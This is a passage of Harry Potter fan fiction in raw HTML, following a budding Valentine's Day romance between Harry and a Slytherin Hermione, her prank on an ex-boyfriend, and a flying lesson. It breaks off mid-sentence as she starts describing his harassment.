class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ve been\nstaring at that toast for the past five minutes like it&#8217;s got Harry&#8217;s face on\nit.&#8221; Blaise teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s face\nreddened. &#8220;Don&#8217;t say such stupid things Blaise.&#8221; She snapped, biting into the\ntoast. She glared at her friend and then turned out of habit to glance at the\nGryffindor table. Her heart sank as she saw that her earlier prediction was\nright, the seats next to Harry were piled with gifts, ranging from flowers like\nthe ones Blaise had, to Muggle balloons, chocolates, bags of candy hearts, and\nthree large stacks of Valentines.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can never\ncompete with that.&#8221; Hermione muttered darkly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stared at\nthe legions of gifts that were piling up around him. It was quite unbelievable,\nreally, the amount of trouble all these girls went to for him on Valentine&#8217;s\nDay. He hadn&#8217;t even heard of half the females he&#8217;d received cards and gifts\nfrom. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Glancing up, he\nfound himself looking straight at Hermione Granger. His heart skipped a beat as\nhe watched her talk to her friend Blaise Zabini, who was also being showered\nwith gifts that morning. He and Hermione had gotten, in his opinion, quite\nclose over the past month, they now considered themselves to be good friends,\nbut Harry knew he wanted more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Watching her now,\nhe could see she was trying to act happy in front of her friend, but she was\nfeeling down, most likely because Blaise had so much attention, and she had\nnone.&nbsp; Harry narrowed his eyes as an\nidea came to him; he grabbed a blank piece of parchment from Neville Longbottom\nand snatched his quill from his bag. Working quickly, and from the memory of\nthe daydreaming look she&#8217;d just had a few minutes before, he drew an ink sketch\nof Hermione; quite detailed and lifelike considering it only took him ten minutes\nto do. Rolling it up, he pulled a red ribbon off one of the gifts. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dean.&#8221; Harry\nnudged his friend. &#8220;Do me a favour&#8212; take this over to Hermione for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Dean\nlooked excited at the chance to go near Blaise. He grabbed one of the roses\nthat had been delivered to Harry that morning and pranced over to the Slytherin\ntable.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Blaise!&#8221; Dean\nsaid, grinning foolishly. &#8220;This is for you.&#8221; He handed her the red rose. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you Dean.&#8221;\nBlaise said politely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And this is for\nyou, Hermione, from Harry.&#8221; Dean said, handing over the rolled parchment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh&#8230;uh&#8230;thanks&#8230;.&#8221;\nHermione said, flushing. Blaise grinned wickedly at her as Dean ran back to the\nGryffindor table. &#8220;What do you suppose it is?&#8221; she asked quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Open it.&#8221; Blaise\nwas as curious as Hermione was. She pulled the ribbon off, and unrolled the\nparchment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh!&#8221; Hermione\ngasped, her eyes going wide. It was a portrait of her; he&#8217;d obviously been\nlooking at her when she&#8217;d been daydreaming. Her eyes were turned off in the distance;\na dreamy, happy look was captured from them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nincredible!&#8221; Blaise said, staring at the drawing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt\nlike she was drowning, he had done this, this beautiful sketch of her. After\nwhat felt like an eternity, she raised her eyes from the parchment and met his\nfrom across the Hall. Harry gave her a slight smile and raised his eyebrow,\nnodding his head towards the doors. She nodded back, a smile blossoming across\nher lips, and got up to meet him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned and\ngot up as well; he was almost to the doors when someone called his name.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry Potter!&#8221;\nhe turned around and saw a head of long red hair flying at him before he was\nnearly bowled over by the figure attached to it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you get my\nValentine?&#8221; Ginny Weasley squealed loudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;yeah Ginny,\nthanks.&#8221; Harry tried to pull away but she was like a leech.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I picked out\nthose flowers just for you, and the chocolates are your favourites as well.&#8221;\nShe flung her arms around his neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt a\nlump the size of a Muggle basketball lodge itself in her throat as she watched\nGinny throw herself at Harry. Why wasn&#8217;t he pushing her away, Hermione\nwondered, perhaps he really did only think of her as a friend. Blaise came up\nbehind her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on,\nHermione, we&#8217;ll be late.&#8221; Blaise glared at Ginny. &#8220;Don&#8217;t think about her, she&#8217;s\nthe Hogwarts slut, I&#8217;m surprised she&#8217;s not sleeping with any of the teachers&#8230;&#8221;\nshe stopped at the sight of Hermione&#8217;s long face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But he wasn&#8217;t\neven pushing her away.&#8221; Hermione said glumly. She rolled the parchment back up\nin her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey.&#8221; Blaise\nstopped and dropped all her gifts on the floor. &#8220;Who did he draw a picture of?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me.&#8221; Hermione\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll bet he\ndidn&#8217;t do that for any of the other girls. Just you.&#8221; Blaise said firmly. &#8220;I don&#8217;t\nwant to see any more of that long face.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione pouted\nanyway. &#8220;You don&#8217;t know what this feels like.&#8221; She said, helping Blaise pick up\nher gifts. &#8220;You have guys admiring you every two feet you walk.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Every two feet?&#8221;\nBlaise wrinkled her nose. &#8220;That&#8217;s ridiculous Hermione.&#8221; She paused and grinned.\n&#8220;It&#8217;s more like every two inches.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her statement was\nso ludicrous that Hermione couldn&#8217;t help but laugh. Blaise smiled in\nsatisfaction.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There, that&#8217;s\nthe Hermione I want to see. Laughing and happy because the guy she loves just\ndrew her a portrait.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione just\nshook her head as they entered their class.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione watched\nas Blaise bounded off towards the Ravenclaw table and her date for that\nevening. Most everyone was pairing off to go down to Hogsmeade for a romantic\nevening, but she was headed to the library like always. She hadn\'t had a chance\nto talk to Harry that day, to thank him for the drawing, she wasn\'t even sure\nif he\'d be working with her that night. \'Probably not.\' she reasoned, he most\nlikely had a date himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Bending down, she\ntossed her books in her bag and straightened back up. A red rose sat on top of\nthe parchment she\'d been taking notes on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Happy\nValentine\'s Day.&quot; Harry grinned at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A slow smile\nspread across her face, she bit her lower lip to keep it from growing too wide.\nA warm, tingling feeling came up from her toes, his smile made her feel like\nshe was stepping into a hot bath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I...uh...&quot;\nHermione swallowed. &quot;Thank you Harry.&quot; she managed to say through the\nlump in her throat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned\nwider, and felt a slight flush begin to make it\'s way across his face.\n&quot;You\'re welcome.&quot; he bent his head down, feeling a bit shy. &quot;I\'d\nhoped you would like it.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione picked up\nthe rose and touched it\'s silky petals. &quot;It\'s beautiful, no one\'s given me\nflowers before.&quot; she looked back up at him. &quot;I loved the drawing\ntoo.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Really?&quot;\nHarry\'s eyes brightened. &quot;I drew it this morning, right before I sent it\nover with Dean. You looked like you could use a little cheering up.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione fought\nto keep her face composed. &quot;I\'m not used to people making a big fuss over\nme, especially on Valentine\'s Day.&quot; she tossed her bag over her shoulder.\n&quot;So...what are your plans for this evening?&quot; she asked tentatively as\nthey walked from the Great Hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well\nstudying with you, what else?&quot; He grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stopped\nin her tracks. &quot;You mean you\'re not going down to Hogsmeade like everyone\nelse?&quot; she asked. She thought for sure he would have a date for tonight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed,\n&quot;Nah it gets really crowded in Hogsmeade during this time, and I\'m not a\nreal big fan of crowds.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione didn\'t\nknow what else to say, she was so pleased that she would be spending her\nValentine\'s Day with Harry, even though they would be in the library and not in\ntown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;This is the\nmost perfect rose I\'ve ever seen.&quot; Hermione lifted the flower to her nose.\n&quot;Did you pull it out of the many dozens you got today?&quot; she asked a\nbit teasingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What makes\nyou think I would do something like that?&quot; Harry sounded slightly hurt by\nwhat she had said.&nbsp; &quot;I had to sneak\nout during lunch to get it.&quot; He took a breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt bad\nimmediately, she could tell he was hurt. &quot;I\'m sorry, I just saw you had so\nmany flowers....&quot; she fought the impulse to turn and throw her arms around\nhim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at\nher, &quot;I would never give you anything that was given to someone else like\nthat, it&#8217;s a bit disrespectful and lazy, and I&#8217;m not either of those.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She looked up at\nhis eyes and felt like melting into a puddle. &quot;You\'re right, I\'m sorry for\nsaying that.&quot; she looked away. &quot;You can tell I\'m not used to this\nsort of thing.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled,\n&quot;It\'s all right, don\'t worry about it.&nbsp;\nSo-- what&#8217;s on the schedule for tonight?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh.&quot;\nHermione carefully set the rose down and rummaged through her bag. &quot;We\'re\nabout done with the research, we have managed to get through all centuries of\nwitch burning.&quot; she thumbed through a stack of parchment. &quot;Basically\nnow it\'s compiling and putting it into the final form for when we turn it\nin.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Scratching his\nhead Harry glanced at her, &quot;When is the project due again?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione glanced\nup from her stack of parchment. &quot;We have until April seventeenth.&quot;\nshe replied. &quot;But I think we\'ll be done with it by the first week of\nMarch, we\'ve gotten so much done already.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded,\n&quot;I agree, we are making excellent time on this.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They both sat\ndown and bent their heads over various textbooks; the only sound between them for\na while was the scratching of their quills on the parchment. Hermione found\nherself raising her eyes to look at Harry every so often. She noticed for the\nfirst time how his glasses seemed to be a little scratched. An idea formed in\nher mind of something she could get him as a belated Valentine\'s Day gift, the\nnext time she was in Hogsmeade she\'d find it. Smiling to herself, she went back\nto her research with renewed energy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shifted in\nhis seat a little, turning his head slightly he stole a glance at Hermione, she\nhad just started twirling a piece of her hair around her finger as she searched\nfor some information in the book. His eyes took in her slender face; her eyes\nwere downcast as she was reading silently.&nbsp;\nHe took a breath and noticed the way she tilted her head a bit to the\nside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nup at that moment, and their eyes met across the table. He had been looking at\nher; this realization made her heart pound slightly harder than before. They\nstared at each other for what seemed like forever, when the sound of flapping\nwings pulled their gaze away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\naway reluctantly. &quot;An owl in the library?&quot; she was confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry just\nshrugged &quot;I guess so.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To her great\nsurprise, the owl swooped down and dropped a large package directly in front of\nher. &quot;For me?&quot; she asked it, then immediately felt stupid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked away\na moment, who would send her a present.&nbsp;\nHarry felt his blood boil with just the thought of someone else sending\nher something sweet and romantic.&nbsp; Some\nother guy, with his sloppy writing, was making her blush and giggle. He didn\'t\nlike this one bit, he wanted to bet he one to make her blush and giggle. &#8220;So\nwho\'s the gift from?&quot; Harry said hoping he didn\'t sound as bitter as he\nfelt as he leaned back in his chair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione lifted\nthe package closer to her, from his reaction; she guessed that this wasn\'t\nanother surprise from Harry. &quot;I don\'t know.&quot; she pulled off a card in\na pink envelope. Her face fell as she read. &quot;It\'s from Justin.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry forced a\nsmile, thinking boy do I hate that guy. &quot;What does the card say?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;For MY\nValentine.&quot; Hermione read on the outside, it showed a picture of a guy\nholding the girl in his arms tightly, almost possessively. &quot;We can get\nback together when you\'ve opened this. Justin.&quot; Hermione looked up and\nwrinkled her nose. &quot;That\'s.... romantic.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded,\n&quot;More like freaky if you ask me.&quot; He shrugged. &quot;He automatically\nthinks you\'ll fall into his arms after whatever he gave you.&quot; He poked the\nwrapped box with the tip of his quill.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m almost\nscared to find out what\'s in there.&quot; Hermione said, but after looking at\nHarry, she began to peel off the wrapping paper gingerly. She pried open the\nbox with her fingernail, and gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was torn, he\nwanted to know what was in there, but then again he wanted to burn whatever was\nin there.&nbsp; He cleared his throat his\ncuriosity got to him. &quot;So what did you receive from Mr. Romance?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione fought\nhard to stifle her laughter as she used the tips of her fingers to pick up a\npair of hot pink underwear. She watched Harry\'s eyes grow wide as she turned\nthem around so he could see the flashing JUSTIN on the seat. &quot;For one\nthing, I make it a point never to wear pink, especially this shade....&quot; her\nvoice was thick with laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was still\nshocked but he couldn\'t help but start to laugh. It was the most ridiculous\nthing he had ever seen.&nbsp; &quot;Who in\ntheir right mind would find this appealing.&quot; Harry nearly clutched his\nside from laughing so hard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Justin.&quot;\nHermione answered, dropping the underwear back into the box like it was on\nfire. &quot;Oh and look, perfume!&quot; she picked up the heavy bottle.\n&quot;Eau de SwampFire.&quot; Hermione raised her eyebrow. She pulled the top\noff the bottle and lifted it to her nose, and immediately pulled it away,\ncoughing and sputtering. &quot;That...has...got.... to be...worst smell\never!&quot; she gasped, trying to breathe. She passed the bottle to Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ugh, what is\nthat smell?&#8221; Harry cringed; he felt short of breath. &quot;Is that the perfume?\nGods it smells like a dead skunk!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione covered\nher mouth with her hand, she actually felt nauseous. She quickly covered the\nbottle back up and threw it in the box. Both she and Harry fanned the air,\ntrying to clear it so they could breathe again. &quot;Well honestly!&quot; she\nhuffed when they were finally able to remove their hands from their mouths.\n&quot;If he REALLY thinks that would win me back....&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Then he\'s\ngot another thing coming.&quot; Harry finished her sentence.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They both grinned\neach other again as Hermione\'s brain started to work. &quot;I\'ve got an idea,&#8221;\nshe said wickedly, grabbing the box. &quot;You might want to cover your nose\nagain.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry wasted no\ntime, and pinched his nose closed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took a\ndeep breath, then pulled the top back off the perfume and dumped half the\nbottle on the underwear. She picked it up with the tips of her fingers again\nand carried it quickly across the room where Justin\'s bag sat on a chair.\nHermione threw the underwear in, and then proceeded to dump the rest of the\nperfume all over his books.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That should\nteach him,&#8221; she said, coming back to the table, this time sitting down next to\nhim. Harry removed his hand from his mouth, looking at her with shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A loud burst of\nlaughter suddenly broke out of him.&nbsp;\n&quot;I can\'t believe you just did that?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nup at him, a smile gracing her face. &quot;Did what? Get revenge on him\nfinally, for all that he\'s done?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his\nhead, &quot;You\'re sure something Hermione.&quot; He grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What do you\nmean?&quot; Hermione\'s voice quavered slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You surprise me,\nis all.&#8221; Harry fumbled for the right words. &#8220;I&#8217;d never have thought you&#8217;d do\nsomething like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well Justin just\nmakes me so angry, he treats me horribly, cheats on me and then thinks a stupid\ngift and some commanding words can make me want him back!&#8221; Hermione burst out\nangrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You deserve\nsomeone better than that prat anyway.&#8221; Harry said. &#8216;Like me.&#8217; His mind echoed,\nbut he didn&#8217;t dare say that aloud.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nup and was startled to see him sitting so close to her. Harry&#8217;s eyes were\nboring into hers; neither of them could look away. She could swear he was\nleaning in closer, now she could almost feel his warm breath on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Am I imagining\nthings?&#8221; her mind screamed, as he moved in his face even more. &#8216;Oh Merlin&#8217;s\nbeard, he&#8217;s going to kiss me!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry wasn&#8217;t sure\nexactly what he was doing; it was like a magnetic pull from his lips to hers.\nHer eyes fluttered closed as he bent his face even further.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HA!&#8221; a loud\nlaugh made both of them jump apart. &#8220;Finch Fletchley wears smelly pink\nunderwear!&#8221; Draco Malfoy was guffawing; he had just discovered the raunchy\nknickers. &#8220;Wait till this gets around!&#8221; he gleefully stuffed them into his bag,\nintent on embarrassing the Head Boy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry saw Draco\nturn and jerk his head in their direction. Harry glumly waved back, he&#8217;d lost\nhis chance to kiss Hermione and he wasn&#8217;t pleased about it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s going on,\nPotter? No date tonight?&#8221; Draco sat himself down in Hermione&#8217;s vacant chair\nacross the table. &#8220;Hi, I&#8217;m Draco Malfoy.&#8221; He introduced himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m Hermione\nGranger.&#8221; She replied, shaking his outstretched hand. Her mind seemed to be\ngoing in overload, it was still back a second earlier when Harry&#8217;s lips had\nbeen so close to hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m surprised\nyou&#8217;re not out tonight.&#8221; Harry was saying, shooting Draco a look that said he\nwanted to talk to him later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh, I&#8217;m\nmeeting Ginny Weasley later.&#8221; He said languidly. Harry grinned, knowing exactly\nwhat would be happening there. &#8220;So what were you two up to, this is a nice cosy\ncorner to be tucked into.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just research\nfor our History of Magic project.&#8221; Harry replied, and Hermione nodded. &#8220;We&#8217;re\nalmost finished.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lucky.&#8221; Draco\nsaid. &#8220;I have to work with Parkinson, and all she wants to do is check out my\nass.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione\nstifled their laughter; Pansy Parkinson was another well known slut of\nHogwarts. Both looked at each other and smiled, and the awkward moments were\npast.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; One Week Later&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes\nwere sparkling as she landed the broom on the Quidditch pitch. She and Harry\nhad been out flying again, and her fear of heights was almost completely gone.\nThey&#8217;d flown even higher than normal today, he&#8217;d let her have complete control\nof the broom; he was just on for the ride.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You were fantastic\nup there!&#8221; Harry grinned as they both hopped off the broom. &#8220;Are you sure you&#8217;d\nnever flown before I started giving you lessons?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I swear!&#8221;\nHermione&#8217;s face was flushed with excitement. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, all\nright.&#8221; Harry relented. They walked back through the locker rooms and up to the\ncastle. &#8220;We&#8217;ll do this again next week, you&#8217;ll be a total pro before you know\nit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great.&#8221; Hermione\nsaid happily as they approached the library, where they&#8217;d left their books when\nthey decided to go for the impromptu flying lesson. &#8220;I uh&#8230;I have something for\nyou.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You do?&#8221; Harry\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, it&#8217;s sort\nof a belated Valentine&#8217;s Day gift, I got it in Hogsmeade last weekend.&#8221;\nHermione blushed as she fished around in her bag and pulled out the small box. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry took it and\nunwrapped it curiously. It was a slender, narrow gold wooden box, with the name\n<i>Harry James Potter</i> written out in scarlet calligraphy on the top.\nOpening it, he saw the inside was lined with scarlet velvet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a glasses\ncase, in the Gryffindor colours.&#8221; Hermione&#8217;s face was scarlet as well. &#8220;I saw\nyour glasses were a bit scratched up and I figured you had no place to put\nthem&#8230;&#8221; she was cut off as Harry came forward and hugged her tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is\nwonderful, Hermione.&#8221; He spoke into her hair. Harry felt her arms go around his\nwaist tentatively. &#8220;No one&#8217;s ever bought me something like this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well it&#8217;s not\nmuch.&#8221; Hermione mumbled, elated to be in his embrace. He smelled so wonderful\ntoo, like sweat and wood and pine all in one. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think it a\nvery thoughtful gift.&#8221; Harry said, regretfully breaking away from her. &#8220;I\nalways throw my glasses on my nightstand, so they get pretty scratched up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I&#8217;m glad\nyou like it.&#8221; Hermione was pleased with herself. They both looked up as the lights\nin the library dimmed, signalling that it was about to be locked up for the\nnight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess I&#8217;ll see\nyou tomorrow then.&#8221; Harry said, patting her arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221; Hermione\nsaid softly as he turned to go.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah?&#8221; he asked,\nlooking back at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have a silly\nfavour to ask of you.&#8221; She looked down at her shoes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; he\nstepped back over to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; Hermione\ntwisted her robe in her hand. &#8220;Justin somehow found out that I was the one who\ndumped the perfume in his bag on Valentine&#8217;s Day, and now I&#8217;ve caught him\nfollowing me in the corridors&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Has he done\nanything to you?&#8221; Harry put his hands on her shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He um&#8230;&#8221; Hermione\nlooked away nervously. &#8220;He pushed me against the wall the other night when I\nwas walking back from 